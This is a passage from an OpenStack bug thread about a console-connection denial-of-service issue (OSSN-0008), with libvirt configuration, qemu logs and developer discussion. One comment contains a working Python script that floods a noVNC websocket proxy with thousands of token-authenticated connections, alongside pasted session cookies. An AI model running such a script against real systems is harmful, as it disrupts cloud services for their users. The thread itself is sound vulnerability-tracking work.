limiting feature by following these steps:

  https://repose.atlassian.net/wiki/display/REPOSE/Rate+Limiting+Filter

Future OpenStack releases are looking to add the ability to restrict
noVNC and SPICE console connections.

### Contacts / References ###
This OSSN : https://wiki.openstack.org/wiki/OSSN/OSSN-0008
Original LaunchPad Bug : https://bugs.launchpad.net/nova/+bug/1227575
OpenStack Security ML : <email address hidden>
OpenStack Security Group : https://launchpad.net/~openstack-ossg

[Meghal Gosalia (meghalgosalia)]

I have spice enabled in my havana environment and am using spice-html5proxy to connect to the spice server.
If I use an URL with same token multiple times, previous connection drops and only last session stays active.

Old tab shows "Error: Unexpected close while ready" in console.log under spice console on the browser.
And latest tab has active connection to the spice server.

Here is what I see in qemu logs, when I use same token again to connect to the server -

red_client_destroy: destroy client with #channels 4
red_dispatcher_disconnect_display_peer:
red_channel_client_disconnect: 0x7f42302a81a0 (channel 0x7f423021d0b0 type 2 id 0)
red_channel_client_disconnect: 0x7f42302a81a0 (channel 0x7f423021d0b0 type 2 id 0)
red_channel_client_disconnect: 0x7f42714a1dc0 (channel 0x7f4270efc460 type 3 id 0)
red_channel_client_disconnect: 0x7f42714a1dc0 (channel 0x7f4270efc460 type 3 id 0)
red_dispatcher_disconnect_cursor_peer:
red_channel_client_disconnect: 0x7f42302660c0 (channel 0x7f423021d670 type 4 id 0)
red_channel_client_disconnect: 0x7f42302660c0 (channel 0x7f423021d670 type 4 id 0)
red_channel_client_disconnect: 0x7f42714740f0 (channel 0x7f4270ef2770 type 1 id 0)
main_channel_client_on_disconnect: rcc=0x7f42714740f0
red_channel_client_disconnect: 0x7f42714740f0 (channel 0x7f4270ef2770 type 1 id 0)
main_channel_link: add main channel client
main_channel_handle_parsed: net test: latency 19.735000 ms, bitrate 25127601 bps (23.963548 Mbps)
red_dispatcher_set_cursor_peer:
inputs_connect: inputs channel client create

So, does this mean that I am using certain qemu configuration (I do not see any) which does not allow to share connections?
If qemu is not allowing multiple clients connecting to spice server, will I still see the DoS attack?

[Tushar Patil (tpatil)]

Meghal: It looks like in the libvirt.xml of the instance, you are using sharePolicy=allow-exclusive in graphics element.
Not sure though if you can specify this parameter for spice console graphics.

Can you please share libvirt.xml of the instance if possible?

[Meghal Gosalia (meghalgosalia)]

Here is the libvirt.xml of the instance:

<domain type="kvm">
  <uuid>5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380</uuid>
  <name>instance-00000095</name>
  <memory>524288</memory>
  <vcpu>1</vcpu>
  <sysinfo type="smbios">
    <system>
      <entry name="manufacturer">OpenStack Foundation</entry>
      <entry name="product">OpenStack Nova</entry>
      <entry name="version">2013.2.2</entry>
      <entry name="serial">cbcaa281-fe93-11d5-b186-80c16e7d4ce0</entry>
      <entry name="uuid">5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380</entry>
    </system>
  </sysinfo>
  <os>
    <type>hvm</type>
    <kernel>/var/nova/instances/5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380/kernel</kernel>
    <initrd>/var/nova/instances/5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380/ramdisk</initrd>
    <cmdline>root=/dev/vda console=tty0 console=ttyS0</cmdline>
    <smbios mode="sysinfo"/>
  </os>
  <features>
    <acpi/>
    <apic/>
  </features>
  <clock offset="utc">
    <timer name="pit" tickpolicy="delay"/>
    <timer name="rtc" tickpolicy="catchup"/>
  </clock>
  <devices>
    <disk type="file" device="disk">
      <driver name="qemu" type="qcow2" cache="none"/>
      <source file="/var/nova/instances/5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380/disk"/>
      <target bus="virtio" dev="vda"/>
    </disk>
    <disk type="file" device="cdrom">
      <driver name="qemu" type="raw" cache="none"/>
      <source file="/var/nova/instances/5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380/disk.config"/>
      <target bus="ide" dev="hdd"/>
    </disk>
    <interface type="bridge">
      <mac address="fa:16:3e:ed:b6:7a"/>
      <model type="virtio"/>
      <source bridge="ovsbridge0"/>
      <virtualport type="openvswitch">
        <parameters interfaceid="9fbfb0c8-edba-484e-9dcd-d34dfea2e239"/>
      </virtualport>
    </interface>
    <serial type="file">
      <source path="/var/nova/instances/5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380/console.log"/>
    </serial>
    <console type="unix">
      <source mode="bind" path="/etc/nova/consoles/5e5fa2d6-bc4e-4b6e-9d4c-73aaddf51380.console"/>
      <target type="serial" port="1"/>
    </console>
    <channel type="pty">
      <target type="virtio" name="com.redhat.spice.0"/>
    </channel>
    <graphics type="vnc" autoport="yes" keymap="en-us" listen="127.0.0.1"/>
    <graphics type="spice" autoport="yes" keymap="en-us" listen="0.0.0.0"/>
  </devices>
</domain>

[Tushar Patil (tpatil)]

In my dev environment, by default 'console' element is present in the libvirt.xml. So I can verify it right now.

But as per libvirt document here http://libvirt.org/formatdomain.html#elementsConsole
it says
"If the console is presented as a serial port, the target element has the same attributes as for a serial port. There is usually only 1 console." This could be one reason why libvirt is disconnecting previously opened client connections.

[Tushar Patil (tpatil)]

In my previous comment, I meant to say the console element is not present in the libvirt.xml of the instance. So I couldn't verify your scenario.

[Tushar Patil (tpatil)]

I think it will be a good idea to ask Libvirt community if there's a possibility to add a new parameter to put restriction on the number of client connections one can open based on the type of the graphics (vnc/spice). since graphic type 'vnc' already has implemented sharedPolicy, it must be aware of the client connections, so adding logic to check the number of opened client connection should be a easy fix I guess.

What do you guys think?

[Meghal Gosalia (meghalgosalia)]

Tushar: Thanks for your response.

I also believe, having a control at driver side would be a better approach to handle this scenario.

[Mark McLoughlin (markmc)]

https://review.openstack.org/#/c/57224/ has been abandoned since December, so moving the Nova task back to Triaged and removing the assignee

[Yang Luo (hsluoyz)]

the very beginning dos script seems to lose its effect within my icehouse distribution.
Here's a new one FYI.

from websocket import create_connection
import socket
from websocket._abnf import *

# get the below token from nova get-vnc-console <server_uuid> novnc
cookie = "token=1ee0401e-2703-472f-a1e8-808797b098be" + "; " +\
    "splunkweb_csrf_token_8000=6291176153857905334" + "; " +\
    "horizon.tabs=%7B%22instance_details%22%3A%22%23instance_details__overview%22%7D" + "; " +\
    "csrftoken=TNZO7K4Inxc4SGfo0WRryYzxoXsD0dXU" + "; " +\
    "sessionid=\".eJytVVtz3DQUTrdJNt2QhN5oy6UJt7IBuivJsmV3hhdgeACmzGSqGb9kdmTpODbxyqu1vJAHz8ALP4W_xV9B9m4CBZLAlCdbR0fnnO87R59-6jXmxpDv1rqS5QzUxJanoPlBSmiEoshLUuYHEWAsiCCBZBJ74CNGeL-uYD7JVXywtrYW0hCnEHjEIwENmUoYAg-FAhBDiKLU9Pj2HE7yUk-0mALf_RJSURf24Kgz8p2JqG02WYXMenxv5Q1azcpc2_ixy5JZO3s2HhdnT2Wp7bwsCpg_8xFC4wUZIXOT77nzi1xCNVkej2-5U8vf7zSYdX7nT3kSIR1SxZ842LqybtVtjlb20TdwVtlSw-crv51CVHYipM0XuT37ev-rX1_wjY4t-ZcIbfjBi3ZnYDYOfzabjekP-aYqpyLXZqsxt4a8lyszeM7XWzrM9vOa765q_0JYUZQn5rVjszNszO4w3nMgznmoJkWuTyuzd9xhuzCb14_N7cbcGcZbzizUNNf86FtzN_7sMt5CxoLxAo9BSIFFShKWMCpVKlIMAZYoxCpQxPfjzQsOzb1svUs7q5Mil22C-_9Dgp6L4Nh4o5skCoqKBPu-F3gUkyj0Il9AhFmIBRVKxNutt7Yw16JoK3jw6hXUIl53MezZDMzDDu-iLOopdNauQY86q8y1gnndmDeH2d5x5ih_qzFvD7O78aPLSohIRLJ7L89hdv8a_yUTREQSUkm8JElogmmCwsRjkiZSIZRGUfbg6jC1yB7GGy1bU3EC2RLCSSG0BAfhnXMIjxuz30K4ikXqLti1LP4DzFePuaQiwBgkC1iSppiCh8OIeiCw73lICT8KsquH4F-l6ujqt10up7PatoR17S8XwtF1cE7Xu4157-qOB66e_9Lx1n81-yIABysRLBA0BJIoX1Gc0lDJFAV-eGXHXZgLCBrsD-X81EFYrmrnpR2K989RfNCYD1sU-5eF83zPZ52s_h1LdvNiQttbiUSaUr-lNHHdkYRA5PsBSIpcvdfLdlf0VicBoK1TVld1uzxdyW8NfMOdgco8OTYfOUUcrhwmU5gmTserxhw608a57lXueekEfqm37j0xH_O-Wj445hPehx9n-dzF-1QqYcHmUxhc_JinfND_7UZv67bXXfiqDAOER6vvgFs5MKPDIzP-5cgg3p_Ny-9BWoMbQ4bZoGPlukEzXrb9R7WG1ny9Ldf4jQlcjKz30jaru6ci5AdAGEsjoXCSuqEIIsl8jEIvJaEMnGAyvmlBC21NlJE6qUe_A_xhWBw:1Y6wUZ:VnAb0AP64d0OvuJ_cZUx55x4xeI"

s = "Pragma: no-cache\r\n"
s += "Cache-Control: no-cache\r\n"
s += "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36\r\n"
s += "Accept-Encoding: gzip, deflate, sdch\r\n"
s += "Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,ja;q=0.2,zh-TW;q=0.2\r\n"
s += "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits"

connection_container = []
for i in range(1, 10000):
    try:
        print "Creating Connection"
        ws = create_connection("ws://ly-controller:6080/websockify", 20, header={s}, cookie=cookie, subprotocols={"binary", "base64"})
        print "Receiving..."
        frame = ABNF.create_frame("RFB 003.008\n", ABNF.OPCODE_BINARY)
        frame.mask = 0
        ws.send_frame(frame)
        result = ws.recv()
        print "Received '%s'" % result
        connection_container.append(ws)
    except socket.timeout as e: ...

[Davanum Srinivas (DIMS) (dims-v)]

Last comment indicates that even in icehouse the dos script seemed ineffective. please flip Incomplete if anyone has some new information

[Markus Zoeller (markus_z) (mzoeller)]

Cleanup
=======

This bug report has the status "Incomplete" since more than 30 days
and it looks like that there are no open reviews for it. To keep
the bug list sane, I close this bug with "won't fix". This does not
mean that it is not a valid bug report, it's more to acknowledge that
no progress can be expected here anymore. You are still free to push a
new patch for this bug. If you could reproduce it on the current master
code or on a maintained stable branch, please switch it to "Confirmed".